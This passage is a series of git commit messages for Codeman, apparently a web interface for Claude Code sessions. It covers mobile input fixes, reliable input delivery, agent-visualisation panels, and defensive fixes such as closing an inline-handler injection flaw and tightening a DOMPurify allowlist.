Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The reliable-delivery layer marks every keystroke as briefly pending until its
ACK lands a few ms later, which made the connection indicator flash
"Sending 1B…" on every character during normal typing. Hide the indicator
entirely while the connection is healthy (connected/connecting) — it now only
appears for an actual problem (reconnecting/offline), where the queued-byte
count reassures the user their input is safely buffered.
Verified in a real browser: hidden throughout connected typing, shows
"Offline (NB queued)" when offline, hides again after reconnect+delivery.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The mobile copy/paste overlay's "🖼 Image" button (and drag-drop / paste)
now handles real-world photo batches:
- Up to 20 images per batch, uploaded with bounded concurrency (3) and a
live "Uploading N/M…" progress toast; a final summary reports successes,
any failures, and whether the 20-cap trimmed the selection (no silent
truncation).
- Per-file upload limit raised 10MB → 50MB (MAX_PASTE_IMAGE_BYTES in
buffer-limits.ts, env-overridable) so full-resolution phone photos and
large screenshots aren't rejected.
- Very large images are downscaled to <=4096px longest edge before upload:
fixes iOS Safari's ~16.7M-px <canvas> limit (which made huge photos fail
to re-encode and fall back to an original that tripped the magic-byte
check), and keeps batch uploads fast and small.
- Fix a latent concurrency bug the batch path exposed: the first parallel
uploads to a session raced on `mkdir(.claude-images)` and the EEXIST
losers 500'd. mkdir now treats an existing real directory as success
(re-verifying it isn't a planted symlink), so concurrent uploads succeed.
Verified end-to-end in a real browser (Playwright): downscale, >10MB
server acceptance, 20-cap, 20/20 concurrent uploads landing on disk.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The mobile-header-buttons-policy static guard requires every default-visible
header button to make an explicit phone-visibility decision. The new
.btn-away-digest button had none, failing CI. Hide it on phones alongside
.btn-settings / .btn-lifecycle-log — it's a secondary informational control
that doesn't belong on the cramped phone header.
The Ralph settings modal sent maxTodos/todoExpirationMinutes but RalphConfigSchema
(zod) stripped them and the ralph-config route never applied them, so the inputs
were silent no-ops.
Fix: add both as optional positive-int fields to RalphConfigSchema; destructure
and apply them in the ralph-config route (matching the maxIterations pattern).
RalphTracker had no setters (the values were module constants) — added per-instance
_maxTodos/_todoExpiryMs (defaulting to the same constants, behavior unchanged),
switched the eviction + expiry sites to read them, and added
setMaxTodos/setTodoExpirationMinutes (minutes→ms) + getters.
Test: route test POSTs the two fields and asserts the route applies them to the
tracker. Verified RED (setters not called — fields stripped) → GREEN. 34/34
ralph-routes tests pass; tsc + eslint(src) + prettier + build clean. Frontend
already sent the fields (no change).
A "sent" prompt could vanish with no trace on a flaky connection (e.g. a train):
with local echo on, Enter cleared the overlay then sent over the WebSocket
fire-and-forget. On a half-open socket (readyState===OPEN, dead TCP) ws.send()
doesn't throw, so the frame was silently discarded, nothing was enqueued, and
navigator.onLine stayed true — the prompt was lost and never resent.
Replace the best-effort offline queue with a durable, acknowledged delivery layer:
- Client (app.js): every input frame is recorded with a stable clientId +
monotonic per-session seq and persisted to localStorage BEFORE delivery, and
only dropped on a server ACK. Delivered over WS (acked via {t:'ia',seq}) or,
when the socket is down, POST in seq order (HTTP 2xx = ACK). A 2s sweep
force-reconnects a WS whose oldest frame is unacked past 4s (half-open sockets
never recover on their own); on reconnect/reload all pending frames re-deliver.
Survives reconnects AND page reloads. Connection indicator shows pending count.
- Server: Session.shouldApplyInput(clientId, seq) applies each frame exactly once
(bounded MRU map); ws-routes + POST /input dedup a redelivered seq but still ACK
it (200 / {t:'ia'}), so an at-least-once resend can never type the prompt twice.
Untagged input (curl/legacy) applies unconditionally — no behavior change.
- terminal-ui.js sendInput() (voice / keyboard-accessory / paste) now routes
through the same durable layer.
Tests: test/reliable-input-dedup.test.ts (exactly-once semantics on the real
Session) + POST /input dedup route tests. Design: docs/reliable-input-delivery.md.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Pinch any floating subagent or ultracode run/transcript window with the
camera hand-tracking overlay and move it anywhere. Adds a 'window' grab
kind to entry.ts, slotted into the pinch priority chain
(cg-float panel → agent window → session tab → toolbar button). It moves
the window via its own style.left/top (matching app.js's mouse drag,
incl. bottom:'auto') and calls window.app.updateConnectionLines() so the
glowing connector line to the session tab tracks live — app.js redraws
from fresh rects, so no reach into its internals.
Hardening: el.isConnected guard (ultracode windows tear down mid-grab on
SSE reconnect / auto-close), all window.app calls optional-chained +
try/caught so the standalone playground still works, bring-to-front via
app.js's own z-counters, rAF-coalesced redraws cleared on drop so the
final placement always redraws.
Rebuilt the committed gesture-codeman.js bundle.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Extends PR #132 (ultracode handlers) to the rest of the frontend. The same
JS-string-in-HTML-attribute pattern — '${escapeHtml(value)}' — remained in 32
more inline handlers across app.js, panels-ui.js, session-ui.js,
subagent-windows.js, and notification-manager.js. The browser HTML-decodes the
attribute value before parsing the handler source, so escapeHtml's ' reverts
to ' and a quote-bearing id/path/name breaks out of the JS string literal into
executable code.
Switch all to escapeHtml(JSON.stringify(value)): JSON.stringify JS-encodes and
quote-wraps first, then escapeHtml handles the HTML-attribute layer, so the
value round-trips as one inert string argument.
Also fixes two non-escapeHtml variants of the same class:
- panels-ui.js: mux-session `sid` was pre-escaped with escapeHtml() then dropped
into a single-quoted JS string (selectSession / killMuxSession). Now
JSON.stringify'd at the source.
- orchestrator-panel.js: phase.id was interpolated raw (no escaping at all) into
orchestratorSkipPhase / orchestratorRetryPhase. Now escapeHtml(JSON.stringify()).
The most realistic vector here is file paths (panels-ui openLogViewerWindow) —
filenames can legally contain a single quote.
Numeric interpolations (${i+1}, ${index}, ${item.version}) and the
developer-literal ${onclick} in orchestrator-panel are not user data and are
left as-is. Verified: 0 vulnerable patterns remain, all 22 frontend files parse
(check:frontend-syntax + node --check), and a runtime round-trip confirms the
injection that fired under the old pattern is now an inert string argument.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The ultracode run/agent cards and minimized-tab badges built inline onclick
handlers by interpolating escapeHtml(value) inside single-quoted JavaScript
strings within an HTML attribute:
onclick="app.openUltracodeAgentWindow('${escapeHtml(agentId)}', ...)"
escapeHtml maps ' -> ', but the browser HTML-decodes the attribute value
before the handler source is parsed, so ' becomes a literal ' again and a
quote in a run/agent/session id breaks out of the string literal into
executable JS. escapeHtml alone is insufficient for the JS-string-within-HTML-
attribute double context.
Switch each handler to escapeHtml(JSON.stringify(value)): JSON.stringify
JS-encodes and quote-wraps the value, then escapeHtml handles the HTML
attribute layer, so the value round-trips as an inert string argument. This
matches the encoding already used by other handlers in these files.
Affected:
- ultracode-panel.js: selectWorkflowRun, openUltracodeAgentWindow
- ultracode-windows.js: restore/dismiss for minimized run and agent tabs
Clicking an agent card opens its live transcript as an in-page connected
floating window instead of a detached browser popup. The "−" button on both
run and agent windows now minimizes into the originating session tab as a
restorable ULTRA badge (🧬 runs, 📄 transcripts). Removes the old
collapse-to-header behavior.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The touchmove handler accumulated pixelAccum/velocity and could scrollLines
on every move — including micro-drift below the 8px tap threshold. A jittery
tap (<8px) stayed classified as a tap (didScroll=false, so tap-to-position
fired) yet still left a non-zero velocity, which touchend turned into a
momentum fling. Result: one tap both positioned the cursor and scrolled.
Gate the scroll/velocity accumulation behind didScroll so sub-threshold
movement is inert, matching the handler's stated tap-vs-scroll intent.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
touchmove fires on any 1px finger drift, marking didScroll=true and
skipping the tap handler (which refocuses terminal/CJK input). On
iPad's large touch surface and phones with imprecise taps, this makes
terminal tap unreliable — cjkActive gets stuck true, blocking all
input (CJK and paste).
Add 8px TAP_THRESHOLD: finger movement under 8px is still a tap.
Also add touch-action:none on .touch-device .terminal-container
so the browser doesn't consume touch events before our JS handler.
touch-action: none was only set inside @media (max-width: 430px),
so iPad's browser consumed touch events before the JS scroll/tap
handler could preventDefault. Move to .touch-device class in
styles.css so it applies at any screen width.
Reverts eb83148 which removed the /compact button from both simple
and extended accessory bar modes. Restores double-tap confirmation
and refocus guard for the compact action.
backdrop-filter on the toolbar creates a stacking context that traps
the popover's z-index (1000) inside the toolbar. CJK input (z-index 52)
in the root stacking context always wins. Use :has() to raise the
toolbar above CJK only while the popover is visible.
Move keyboard accessory bar and paste dialog CSS from mobile.css
(gated behind max-width: 1023px) to styles.css (always loaded).
iPad landscape (≥1024px) was getting unstyled white buttons.
- Add position:fixed via .touch-device class for accessory bar
- Fix dismiss button: gray-blue → blue, matching phone styling
- JS: position accessory bar above keyboard on iPad via direct bottom
- JS: position CJK above accessory bar (bottom: keyboardHeight + 44)
- Clear accessory bar bottom in resetLayout()
Phones use translateY(-keyboardOffset) — CSS bottom is relative to layout
viewport and keyboardOffset reliably lifts it above the keyboard (iOS
doesn't auto-scroll the visual viewport for the CJK textarea on phones).
iPad uses direct bottom positioning from keyboard height — translateY
broke because iOS auto-scrolls the visual viewport when the CJK textarea
receives focus, making keyboardOffset approach 0.
Three iPad-specific issues fixed:
1. CJK input hidden behind keyboard: updateLayoutForKeyboard() gate changed
from screen-size to touch-device detection. On iPad, CJK textarea (always
position:fixed) gets bottom offset computed from keyboard HEIGHT directly
instead of keyboardOffset (which depends on visualViewport.offsetTop that
iOS adjusts when the CJK textarea receives focus). Toolbar/accessory bar
transforms remain phone-only (they're normal-flow on iPad).
2. Paste dialog invisible on iPad: paste overlay CSS was inside
@media (max-width: 430px) phone breakpoint — iPad (≥768px) had no styling.
Extracted to universal section alongside keyboard accessory bar styles.
3. Voice dictation character duplication (Doubao/third-party IME):
iOS voice dictation does NOT fire composition events (WebKit Bug 261764).
Text arrives as bare input events; refinement is a delete→reinsert cycle.
Rewrote CJK input handler with two-tier debounce:
- Keyboard typing (no delete/replacement events): 150ms debounce
- Dictation mode (deleteContentBackward or insertReplacementText detected):
1500ms debounce, persists 3s to cover multi-word dictation
- Composition path (compositionend): immediate flush, unchanged
- Keydown singles/Enter/Esc/Ctrl: immediate, unchanged
Also: keep cjkActive=true on blur while CJK is visible (prevents xterm
from processing duplicate input when iOS dictation UI steals focus);
keydown single-char sends tracked via timestamp to suppress the echo
input event that third-party IMEs fire despite preventDefault.
Programmatic _textarea.value = '' during compositionstart cancels the
active IME composition on iOS Safari, breaking Chinese character input.
The phantom (U+200B) is invisible and _strip() already removes it
before sending to PTY — no need to clear it manually.
Root cause: the mobile-composer mode (02fa3f3) routed CJK text through
local-echo buffering, which accumulated characters until Enter instead
of sending each composed word to the PTY immediately. Additionally,
xtermFocusRedirect hijacked all terminal taps, preventing cursor
positioning and scroll interaction.
Changes:
- Remove mobile-composer accumulation mode from input-cjk.js — all
platforms now use the same immediate-flush path (compositionend →
flush → PTY)
- Bypass local-echo buffering in _handleCjkInput (terminal-ui.js) —
the CJK textarea already provides visual feedback
- Remove xtermFocusRedirect so terminal taps work normally again
- Reduce CJK textarea height (34px min, 6px padding) for less
screen intrusion
- Paste dialog now sends Enter after text so pasted content submits
- Hide CJK textarea on welcome screen (no active session)
- Add Opus 4.6 model options to selector
- Daylight Blue: Cloudflare Tunnel welcome button is now purple (was orange),
keeping Claude blue / Tunnel purple / OpenCode green distinct.
- Allow enabling the Cloudflare tunnel with no CODEMAN_PASSWORD via the UI: the
toggle now pops a security confirm dialog and, on confirm, sends an explicit
per-request acknowledgeUnauthTunnel:true (new action field, never persisted).
Server logs a loud warning whenever a passwordless public tunnel starts.
curl/API/CLI stay refused unless password/env/flag — no accidental exposure.
Tests: extend test/routes/system-routes-tunnel-guard.test.ts (ack allows + not
persisted; ack:false still refuses). Verified e2e on an isolated instance
(purple button, confirm dialog, retry carries the flag, no real tunnel opened).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
On the default daylight-blue skin the three welcome buttons all read blue.
Give each its own identity: Run Claude Code keeps the blue accent, Cloudflare
Tunnel takes Cloudflare brand orange, Run OpenCode takes emerald green (with
matching hover/active states + dark ink for contrast). Scoped to daylight-blue
only; daylight-green and OG unchanged. Verified in-browser (blue/orange/green).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Terminal scroll-up intermittently broke for Claude sessions (most visible on
iPhone). Claude Code periodically emits alt-screen switches (?1049h/?47h/?1047h),
scrollback-erase (3J), and mouse-tracking enables for full-screen UIs, which move
xterm.js to the scrollback-less alt buffer / wipe saved lines / hijack the wheel.
Codeman stripped these but only for codex mode.
Share the strip via isAltScreenStripMode(mode) = codex || claude, applied at both
sites that were codex-only: the live PTY stream (Session._handleTerminalOutput,
incl. the chunk-boundary carry) and the /terminal buffer replay. shell stays
excluded (vim/less/htop need the alt screen); opencode unchanged.
Tests: test/claude-scrollback-strip.test.ts (8 new); codex strip tests unchanged.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Re-run syncAllUltracodeFloatingWindows() after server settings load so a
first-time device whose getLightState run snapshot arrives before the async
settings fetch resolves still pops an already-active run's window immediately,
instead of waiting for the next ~10s watcher tick. Also fixes a stale
@fileoverview comment that named the wrong gating setting.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
closeUltracodeAgentsPanel() only removed `open`, leaving the drawer in its
collapsed peek state (header strip still visible) — so (x) looked like a no-op.
Now also adds `hidden` (display:none), mirroring closeSubagentsPanel; does NOT
flip showUltracodeAgents (that gates the watcher + floating windows). Verified in
a real browser (post-close computed display:none). Bumps 1.1.4 -> 1.1.5.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The Workflow runtime writes workflows/wf_<id>.json only at completion (always
terminal), so workflow-run-watcher never saw a run until it was already done and
the ACTIVE-gated floating window never popped. The watcher now also scans
subagents/workflows/wf_<id>/ and synthesizes a minimal running record (agentId
slots preserved for the transcript-click join, lastActivityAt from mtimes,
done/running from the journal), superseded by the real wf_<id>.json at
completion. Standalone (no subagent-watcher import). Verified e2e on a real
in-flight run; +6 unit tests. Bumps 1.1.3 -> 1.1.4.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Auto-popping draggable window per active ultracode/Workflow run, connected by a
glowing line to its originating session tab (resolved via claudeSessionId ===
sessionUuid). Mirrors the live agent grid; auto-closes after a run finishes;
dismissals are remembered. Additional to the existing docked panel.
New "Ultracode Floating Windows" setting (default OFF), independent of the
"Ultracode Agents" panel toggle; either toggle starts the workflow-run watcher.
Also bumps version to 1.1.3 and brings CLAUDE.md up to date for the ultracode
subsystem.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Each workflow agent card with an agentId is now clickable and opens that agent's
live transcript in a popup, reusing the existing GET /api/subagents/:agentId/
transcript route. The workflow agent's agentId is byte-identical to the
agent-<id>.jsonl stem that subagent-watcher already tracks (via w16's
watchWorkflowDirs), so this is a pure client-side join — ZERO subagent-watcher
edits.
Graceful degradation: 'start' (queued) agents have no agentId yet and stay
non-clickable; an aged-out/untracked agent (subagent-watcher's 4h startup window,
or tracking disabled) returns an empty transcript and shows a friendly note
instead of an empty popup.
Verified on a live isolated server: the subagent transcript route serves a
workflow agent's transcript (150 entries) and the runId's agents[] carries the
matching agentId; Playwright confirmed clicking a card opens the transcript popup
with no console errors. frontend-syntax / public-assets / CSS-parse clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Opt-in (showUltracodeAgents, default OFF) panel that visualizes ultracode /
Workflow-tool runs like Claude Code's "working agents" TUI: LEFT = runs + phases
(selectable tasks), RIGHT = each run's agents with model, live state, tokens
burned, and tool calls.
Standalone — ZERO edits to subagent-watcher.ts. A new workflow-run-watcher.ts
singleton globs the run-state tree (~/.claude/projects/*/*/workflows/wf_*.json,
disjoint from the transcript tree), strips the heavy script/scriptPath/result/logs
fields (174KB -> ~25KB/run), and emits workflow:run_* SSE events. The LEFT list
ships lightweight summaries (getLightState replay + SSE); the RIGHT pane fetches
the full run (with agents[]) via GET /api/workflows/:runId on selection.
Backend: workflow-run-watcher.ts, types/workflow-run.ts, config/workflow-config.ts,
3 SSE events, getLightState workflowRuns replay, GET /api/workflows[/:runId],
showUltracodeAgents schema key + boot-gate (default OFF) + live toggleService.
Frontend: ultracode-panel.js (debounced master-detail render, run/phase select),
header launcher (btn-ultracode-agents--hidden marker -> mobile-guard-exempt),
App Settings toggle (SYNCED, deliberately not in displayKeys).
Agent states on disk are start|progress|done (start=queued; done has
durationMs/resultPreview). Tests: workflow-run-watcher (9), workflow-routes (3).
Verified: tsc/lint/prettier/frontend-syntax/public-assets/mobile-header-guard
clean; full test:ci green (2986 passed); live server + Playwright e2e against 25
real runs (28-agent grid, phase filter, OFF hides launcher).
Design: docs/ultracode-agent-viz-plan.md (rev. 3).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two follow-ups to db93491 (the 2026-06 CC meta.json format change), after
reverse-engineering the new on-disk layout with a live current-CC subagent +
1Hz fs poller:
(1) Workflow recursion — the Workflow tool nests its agents at
subagents/workflows/{wf}/agent-{id}.jsonl, one level below the flat
subagents/ scan, so they were never tracked. Add watchWorkflowDirs()
(driven from scanForSubagents) to descend and watch each workflow dir
(idempotent; fs.watch recursive is unsupported on Linux, so the ~5s
periodic scan re-drives it — same latency as new-session discovery).
Require the `agent-` prefix in the flat readdir + watch callback so a
workflow dir's sibling journal.jsonl can't register a bogus "journal" agent.
E2E verified against real ~/.claude/projects: 32 workflow-nested agents
discovered (wf_fa35c1d8-4a9), 0 bogus journal agents.
(2) Transcript timing — empirically the per-agent .jsonl IS written at the
standard subagents/ path and grows incrementally (tailable); the
/tmp/.../tasks/<id>.output the prior probe found is just a symlink back to
it. meta.json lands at spawn, the .jsonl a beat later. Add a meta→transcript
upgrade in registerAgentFile: when an agent registered meta-only gets its
sibling .jsonl, re-point filePath, drop the stale sidecar context, start
tailing, and emit subagent:updated (not a duplicate discovered). Corrects the
now-inaccurate "no transcript to tail" doc comment on registerAgentMeta.
Tests: 2 new cases (workflow-nested discovery; journal.jsonl not registered).
All 56 pass; tsc/lint/format clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude Code changed its subagent on-disk format (~2026-06-14): TUI Task
subagents now write `agent-{id}.meta.json` ({agentType,description,toolUseId})
into the session's `subagents/` dir and no longer reliably write a per-agent
`agent-{id}.jsonl` transcript there. The watcher discovered agents ONLY by
`.jsonl`, so it tracked zero — subagent windows and the monitor's "N TRACKED"
showed nothing.
- Add `registerAgentMeta()`: discover from the meta sidecar (description from
meta.description/agentType), prefer a sibling `.jsonl` transcript when present
(richer), never tail a meta file.
- Initial scan + directory watcher now handle `.meta.json` alongside `.jsonl`.
- Tests: 2 new cases (meta-only discovery; prefer-.jsonl-when-present).
Verified e2e against a real ~/.claude/projects fixture.
Known follow-ups (not in scope): meta-only agents have no per-agent transcript
to tail (no live tool-call feed, status stays 'active'); workflow agents under
`subagents/workflows/{wf}/agent-*.jsonl` are still missed by the flat scan.
Also adds the README screenshot tooling used to surface this:
- capture-real-overview.mjs: DSF=2 + ?nowebgl crisp path (DOM renderer avoids
the WebGL glyph-doubling at deviceScaleFactor>1).
- capture-readme-real.mjs: real-instance desktop-scene capture (dashboard/
monitor/subagent) for an isolated beta seeded from prod settings.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The File Browser preview and Attachments preview share openFilePreview(),
but the workspace branch (via /file-content) misclassified several types the
attachments viewer handled fine:
- SVG was reported as type:image, but file-raw serves SVG as octet-stream +
attachment (XSS hardening), so the <img> broke. Now fetched and rendered via
a same-origin image/svg+xml blob <img> (safe; <img> never runs SVG scripts).
file-raw's SVG hardening is unchanged.
- Audio (mp3/wav/ogg/m4a/aac/flac/opus) was type:binary -> "Cannot preview".
Now classified as audio and rendered with <audio controls>; file-raw gained
the matching audio/video MIME types so playback works.
- Binary formats not in the hardcoded list (xlsx/doc/zip/...) were decoded as
UTF-8 and dumped as mojibake. Replaced the static list with a NUL-byte
content sniff that flags arbitrary binaries; the binary fallback now offers a
Download link instead of dead-ending.
Adds route tests for audio, known-binary (xlsx), and NUL-sniff classification.
Verified end-to-end on an isolated instance + headless browser.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
scripts/capture-real-overview.mjs:
- Default deviceScaleFactor to 1 (DSF=2 makes xterm's headless WebGL renderer
draw console glyphs at ~2x while reporting nominal cell dims — invisible to
cols/cell measurement, only the pixels reveal it; HTML chrome is unaffected so
only the terminal font looks oversized)
- Mint a unique timestamped filename per run so a viewer/HTTP cache can't shadow
a fresh capture with a stale render of a fixed path
- Seed per-device localStorage (skin, codeman-font-size, codeman-app-settings)
so the capture reflects a real device: plan-usage chip shown (per-device key,
deleted from server payload), side panels closed for a full-width terminal
- Support prod's self-signed HTTPS (ignoreHTTPSErrors), env-configurable viewport
CLAUDE.md:
- Document the DSF=1 / unique-filename screenshot gotcha (incl. the real
Codeman-side immutable-static-asset cache footgun)
- Add the sanitize-html.js infra module (DOMPurify mXSS allowlist, COD-56) to the
frontend module list and load order (was missing)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Review polish on the desktop tab auto-wrap:
- Auto-wrap is purely width-driven, but updateTabOverflowMode() was only called at the
tail of _renderSessionTabsImmediate (SSE content renders). Window resize — the primary
trigger for tabs crossing the one-row overflow threshold — never re-evaluated it, so
narrowing/widening the window left the wrap state stale until an unrelated status event
fired a render. Call it from the debounced window-resize handler (no-op on
mobile/tablet, where the method bails).
- Move the re-evaluation into _fullRenderSessionTabs() as well, so the incremental
branch's two early `_fullRenderSessionTabs(); return;` paths (badge add/remove, which
change tab width) and the manual two-rows toggle (applyTabWrapSettings → _fullRender…)
re-evaluate too. The latter also fixes a transient where enabling manual two-rows while
auto-wrap was on left both classes set (clipping folder tabs to 96px) until the next
render.
- Add boundary cases to the policy test: exact fit and the +1 sub-pixel tolerance (no
wrap), 2px over (wrap), and a single overflowing tab (no wrap).
Verified: tab-overflow test passes; tsc, check:frontend-syntax, check:public-assets,
prettier all clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Making the hook-event secret unconditionally required closes the own-loopback-proxy gap,
but it would also silently 401 the hook curls baked into cases created BEFORE the secret
header existed (COD-54, 2026-06-10): writeHooksConfig only runs at case CREATION, so an
existing/linked case on a password-protected install keeps secret-less curls that the new
gate rejects (degrading idle/stop/teammate/task signalling with no error surfaced).
No-password installs are unaffected — the gate isn't registered without CODEMAN_PASSWORD.
Add `refreshStaleHookSecret(casePath)` and call it on Claude-mode spawns in
POST /api/sessions and POST /api/quick-start (existing-case branch). It regenerates the
hooks block ONLY when settings.local.json already holds Codeman's own hook curls (they
target /api/hook-event) that lack the X-Codeman-Hook-Secret header — a no-op when the
hooks are absent, not ours, or already current, so it never clobbers user customizations
and is cheap on every spawn. Fresh cases are unaffected (writeHooksConfig already wrote
the secret). withSettingsLock serializes it with the model/statusLine writers.
Verified: new test/hook-secret-selfheal.test.ts 5/5 (heal + key-preservation + no-op on
current/foreign/absent/malformed); the PR's cod54 + auth-security suites still pass
(36); tsc, lint, format:check, and npm run build all clean (symbol present in dist).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The PR gates CJK textarea visibility on an active session
(`showCjk = cjkUserEnabled && !!activeSessionId`) so the fixed-position textarea no
longer floats over the welcome overlay. That intentionally changes the behavior the
existing `shows the CJK textarea on mobile only for server override` test asserted —
it set `_serverCjkOverride = true` on a fresh page (no active session) and expected the
textarea visible, which now (correctly) resolves to hidden. The test lives in
test/mobile/** (excluded from CI), so it wasn't caught by the PR's green CI.
Update the test to verify the new, intended behavior: with the server override on it
stays hidden on the welcome screen (no active session) and is revealed once a session
is active. This is a co-authored review fix; the original change is TeigenZhang's.
Verified: tsc, check:frontend-syntax, check:public-assets, prettier all clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The PR migrated the app.js tab-nav handler to physical e.code but left xterm's
pass-through gate (terminal-ui.js) matching ev.key digits. Consequences:
- Alt+[ / Alt+] (the new bindings) were never in the gate, so xterm sent ESC[ / ESC]
to the PTY on every platform AS WELL AS switching the session.
- Alt+digit on a remapped macOS Option layout (Option+1 -> "¡") didn't match the
ev.key '0'-'9' gate either, so xterm injected ESC<char> — on exactly the layouts
this PR exists to fix.
Update the xterm gate to mirror app.js exactly: suppress when
`ev.altKey && !ctrl && !shift && /^(Digit[1-9]|BracketLeft|BracketRight)$/.test(ev.code)`.
Returning false there tells xterm not to write to the PTY, so the shortcut switches
the tab with no stray escape sequence.
Also: relabel the docs Alt/Option (the mechanism is layout/OS-independent, so the
shortcut works for Linux/Windows Alt users too — "Option" alone was Mac-only wording),
and add a keyboard-shortcuts test asserting terminal-ui.js gates on the same physical
codes so this desync can't regress (a grep the original test missed).
Verified: keyboard-shortcuts test 4/4, check:frontend-syntax, check:public-assets,
format:check all clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Review fixes on top of the `codeman doctor` checker:
- Node minVersion 18.0.0 -> 22.0.0. package.json engines is ">=22.0.0" and the docs/CI
require Node 22+, so doctor was green-lighting Node 18-21 (a false pass).
- Remove the phantom `gemini` registry entry. Codeman has no Gemini backend
(SessionMode = 'claude' | 'shell' | 'opencode' | 'codex'); the entry advertised a
dependency that nothing uses.
- Add `pdftoppm` (poppler) to the office group. document-thumbnailer.ts calls pdftoppm
with no fallback as the sole PDF/Office first-page thumbnail renderer, yet it was
absent from the registry, so doctor never reported it missing.
- Fix the `--category` mismatch: the help advertised `documents|media` categories that
the ToolCategory type/registry never defined, and an unknown category silently
produced an empty "all healthy" table. Introduce TOOL_CATEGORIES as the single source
of truth (type + help + validation); an invalid `--category` now errors with the
valid list and exits 2.
Verified: tsc, lint, format:check all clean; both dependency tests pass (20);
`doctor` runs correctly (Node 22.22 ok, pdftoppm detected, no gemini), `--category media`
errors with exit 2, `--category office` lists libreoffice/pdftoppm/msoffice.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Review fixes on top of the DOMPurify mXSS hardening:
- Remove `USE_PROFILES: { html: true }` from the sanitize-html.js config. DOMPurify
treats USE_PROFILES and ALLOWED_TAGS/ALLOWED_ATTR as mutually exclusive — with a
profile set it resets the allow-lists to the full HTML profile and silently ignores
the curated lists, so the tight markdown-only allowlist was dead config (still
XSS-safe via FORBID + core, but far broader than intended: <button>/<input>/
<details>/<audio>/<select>/<label> all survived). Dropping USE_PROFILES puts the
curated ALLOWED_TAGS/ALLOWED_ATTR back in force; FORBID_TAGS/FORBID_ATTR stay as
defense-in-depth and DOMPurify keeps its default safe-URI handling.
- Rewrite test/markdown-sanitizer.test.ts to run in the default node environment with
an in-test jsdom window instead of a per-file jsdom environment. That environment
externalizes node:fs/node:path under vite, so the suite failed to load in isolation
("No such built-in module: node:") and only survived the full CI run because an
earlier node-env test happened to pre-cache node:fs — order-dependent and fragile.
The rewrite is order-robust and adds an "allowlist is actually enforced" block
(non-markdown tags must be dropped) that fails if USE_PROFILES is reintroduced.
Verified: 25/25 tests pass standalone under config/vitest.ci.config.ts; tsc, lint,
format:check, check:frontend-syntax, check:public-assets, and npm run build all clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Tab-switch shortcuts matched e.key, so on macOS Option+1 emits a special
character ('¡', not '1') and the shortcut silently failed. Switch to physical
e.code (Digit1-9), which is layout-independent. Also adds Option+[ / Option+]
for previous / next session. Help modal + README updated.
Test: test/keyboard-shortcuts.test.ts.
When desktop session tabs overflow one row, wrap them to a second row instead
of horizontal scroll — unless the user has pinned the manual two-row layout
(tabTwoRows). Mobile/tablet keep horizontal scroll. The wrap policy
(shouldAutoWrapTabs) lives in constants.js as a pure, unit-testable function;
updateTabOverflowMode() measures overflow after each tab render and toggles
.tabs-auto-wrap.
Test: test/tab-overflow.test.ts (vm-loads constants.js, asserts the policy).
Release 1.1.0. Headline: opt-in Plan Usage Limits chip (per-device live
5h/weekly plan %), attachment history drawer + opt-in Attachments button,
Opus 4.6 model options, and mobile header regression guards.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The COD-39 attachments button was hard-visible in the header — first on
mobile, then (after the mobile-only hide) still on desktop. Make it a
proper opt-in App Settings → Display toggle ("Attachments Button"),
default OFF everywhere, mirroring the Response Viewer button:
- index.html: button ships with the `btn-attachments-history--hidden`
marker; new settings checkbox #appSettingsShowAttachmentsButton.
- styles.css: base `display:inline-flex !important` + a more-specific
`--hidden` rule (same pattern as the response viewer).
- settings-ui.js: load/save/getDefaultSettings(false) + a live toggle in
applyHeaderVisibilitySettings. Per-device and NON-leaking — added to
displayKeys AND stripped from the server payload, so enabling it on
desktop never makes it appear on mobile (or any other device). No
server-side render step (purely client display, like the eye button).
- mobile.css: dropped the now-redundant phone-only hide — the opt-in
marker hides it everywhere by default; the per-device toggle governs
both desktop and phone.
Tests updated: the CI static guard drops btn-attachments-history from the
phone-hidden lock (it's opt-in now, excluded from the default-visible
enumeration — the guard still gates any NEW default-visible button); the
real-browser E2E now asserts default-hidden on a desktop-class viewport
and visible after enabling the setting.
Verified on a real desktop browser: hidden by default, the settings
toggle exists, enabling it shows the button. tsc + frontend-syntax +
prettier + public-asset checks + both test suites green.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Document the three PRs that grew attachments since the last update:
COD-37/#119 (registry + magic links) was already covered, but
COD-38/#120 (document previews/thumbnails) and COD-39/#121 (history
drawer) added four source files and several endpoints that weren't
documented. Split a dedicated Attachments row out of Infra, extend the
Attachments Key Pattern to cover the converter pipeline + concurrency
limiter + history drawer, and refresh the files-route handler count
(8 -> 14) and total (~140 -> ~146). Also carries the prior pending
